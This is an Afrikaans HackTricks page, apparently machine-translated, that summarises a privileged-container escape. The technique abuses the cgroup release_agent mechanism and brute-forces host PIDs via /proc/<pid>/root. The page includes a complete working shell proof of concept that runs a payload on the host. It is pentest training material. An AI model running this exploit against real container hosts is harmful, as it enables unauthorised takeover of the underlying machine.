6.2 KiB
{% hint style="success" %}
Leer & oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer & oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Ondersteun HackTricks
- Kyk na die subskripsie planne!
- Sluit aan by die 💬 Discord groep of die telegram groep of volg ons op Twitter 🐦 @hacktricks_live.
- Deel hacking truuks deur PRs in te dien na die HackTricks en HackTricks Cloud github repos.
Vir verdere besonderhede kyk die blog pos van https://ajxchapman.github.io/containers/2020/11/19/privileged-container-escape.html. Dit is net 'n opsomming:
Die tegniek skets 'n metode vir die uitvoer van gasheer kode vanuit 'n houer, wat uitdagings oorkom wat deur berging bestuurder konfigurasies ontstaan wat die houer se lêerstelsel pad op die gasheer obscuur, soos Kata Containers of spesifieke devicemapper
instellings.
Belangrike stappe:
- Proses ID's (PIDs) Vind: Deur die
/proc/<pid>/root
simboliese skakel in die Linux pseudo-lêerstelsel, kan enige lêer binne die houer toeganklik gemaak word relatief tot die gasheer se lêerstelsel. Dit omseil die behoefte om die houer se lêerstelsel pad op die gasheer te ken. - PID Bashing: 'n Brute force benadering word gebruik om deur PIDs op die gasheer te soek. Dit word gedoen deur die teenwoordigheid van 'n spesifieke lêer by
/proc/<pid>/root/<file>
sekwensieel na te gaan. Wanneer die lêer gevind word, dui dit aan dat die ooreenstemmende PID aan 'n proses behoort wat binne die teikenhouer loop. - Trigger Uitvoering: Die geraamde PID pad word na die
cgroups release_agent
lêer geskryf. Hierdie aksie aktiveer die uitvoering van dierelease_agent
. Die sukses van hierdie stap word bevestig deur na die skepping van 'n uitvoer lêer te kyk.
Exploitasie Proses
Die exploitasie proses behels 'n meer gedetailleerde stel aksies, wat daarop gemik is om 'n payload op die gasheer uit te voer deur die korrekte PID van 'n proses wat binne die houer loop te raai. Hier is hoe dit ontvou:
- Begin Omgewing: 'n Payload skrip (
payload.sh
) word op die gasheer voorberei, en 'n unieke gids word geskep vir cgroup manipulasie. - Bereid Payload Voor: Die payload skrip, wat die opdragte bevat wat op die gasheer uitgevoer moet word, word geskryf en uitvoerbaar gemaak.
- Stel Cgroup Op: Die cgroup word gemonteer en geconfigureer. Die
notify_on_release
vlag word gestel om te verseker dat die payload uitgevoer word wanneer die cgroup vrygestel word. - Brute Force PID: 'n Lus herhaal deur potensiële PIDs, en skryf elke geraamde PID na die
release_agent
lêer. Dit stel effektief die payload skrip as dierelease_agent
. - Trigger en Kontroleer Uitvoering: Vir elke PID, word die cgroup se
cgroup.procs
geskryf, wat die uitvoering van dierelease_agent
aktiveer as die PID korrek is. Die lus gaan voort totdat die uitvoer van die payload skrip gevind word, wat suksesvolle uitvoering aandui.
PoC van die blog pos:
#!/bin/sh
OUTPUT_DIR="/"
MAX_PID=65535
CGROUP_NAME="xyx"
CGROUP_MOUNT="/tmp/cgrp"
PAYLOAD_NAME="${CGROUP_NAME}_payload.sh"
PAYLOAD_PATH="${OUTPUT_DIR}/${PAYLOAD_NAME}"
OUTPUT_NAME="${CGROUP_NAME}_payload.out"
OUTPUT_PATH="${OUTPUT_DIR}/${OUTPUT_NAME}"
# Run a process for which we can search for (not needed in reality, but nice to have)
sleep 10000 &
# Prepare the payload script to execute on the host
cat > ${PAYLOAD_PATH} << __EOF__
#!/bin/sh
OUTPATH=\$(dirname \$0)/${OUTPUT_NAME}
# Commands to run on the host<
ps -eaf > \${OUTPATH} 2>&1
__EOF__
# Make the payload script executable
chmod a+x ${PAYLOAD_PATH}
# Set up the cgroup mount using the memory resource cgroup controller
mkdir ${CGROUP_MOUNT}
mount -t cgroup -o memory cgroup ${CGROUP_MOUNT}
mkdir ${CGROUP_MOUNT}/${CGROUP_NAME}
echo 1 > ${CGROUP_MOUNT}/${CGROUP_NAME}/notify_on_release
# Brute force the host pid until the output path is created, or we run out of guesses
TPID=1
while [ ! -f ${OUTPUT_PATH} ]
do
if [ $((${TPID} % 100)) -eq 0 ]
then
echo "Checking pid ${TPID}"
if [ ${TPID} -gt ${MAX_PID} ]
then
echo "Exiting at ${MAX_PID} :-("
exit 1
fi
fi
# Set the release_agent path to the guessed pid
echo "/proc/${TPID}/root${PAYLOAD_PATH}" > ${CGROUP_MOUNT}/release_agent
# Trigger execution of the release_agent
sh -c "echo \$\$ > ${CGROUP_MOUNT}/${CGROUP_NAME}/cgroup.procs"
TPID=$((${TPID} + 1))
done
# Wait for and cat the output
sleep 1
echo "Done! Output:"
cat ${OUTPUT_PATH}
{% hint style="success" %}
Leer & oefen AWS Hacking:HackTricks Opleiding AWS Red Team Expert (ARTE)
Leer & oefen GCP Hacking: HackTricks Opleiding GCP Red Team Expert (GRTE)
Ondersteun HackTricks
- Kyk na die subskripsie planne!
- Sluit aan by die 💬 Discord groep of die telegram groep of volg ons op Twitter 🐦 @hacktricks_live.
- Deel hacking truuks deur PRs in te dien na die HackTricks en HackTricks Cloud github repos.